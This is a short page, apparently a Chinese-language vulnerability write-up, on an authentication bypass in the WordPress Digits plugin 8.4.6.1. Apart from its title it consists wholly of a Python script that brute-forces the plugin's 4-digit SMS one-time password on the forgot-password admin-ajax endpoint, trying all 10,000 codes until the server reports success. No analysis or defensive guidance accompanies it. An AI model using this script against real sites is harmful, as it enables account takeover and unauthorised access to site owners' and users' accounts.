WordPress Digits插件8.4.6.1认证绕过漏洞分析

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38

import requests

def brute(otp):
    url = "https://example.com/wp-admin/admin-ajax.php"
    data = {
        "login_digt_countrycode": "+",
        "digits_phone": "000000000",
        "action_type": "phone",
        "sms_otp": otp,
        "otp_step_1": "1",
        "instance_id": "xxxxxxx",
        "action": "digits_forms_ajax",
        "type": "forgot",
        "forgot_pass_method": "sms_otp",
        "digits": "1",
        "digits_redirect_page": "//example.com/",
        "digits_form": "xxxxxxxx",
        "_wp_http_referer": "/?login=true"
    }
    headers = {
        "User-Agent": "Mozilla/5.0",
        "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
        "X-Requested-With": "XMLHttpRequest",
        "Referer": "https://example.com/?login=true"
    }
    response = requests.post(url, data=data, headers=headers)
    if '"success":true' in response.text:
        print(f"[+] OTP FOUND: {otp}")
        exit()

def main():
    for otp in range(0, 10000): # 4位OTP范围
        otp_str = f"{otp:04d}"
        print(f"[*] Trying OTP: {otp_str}")
        brute(otp_str)

if __name__ == "__main__":
    main()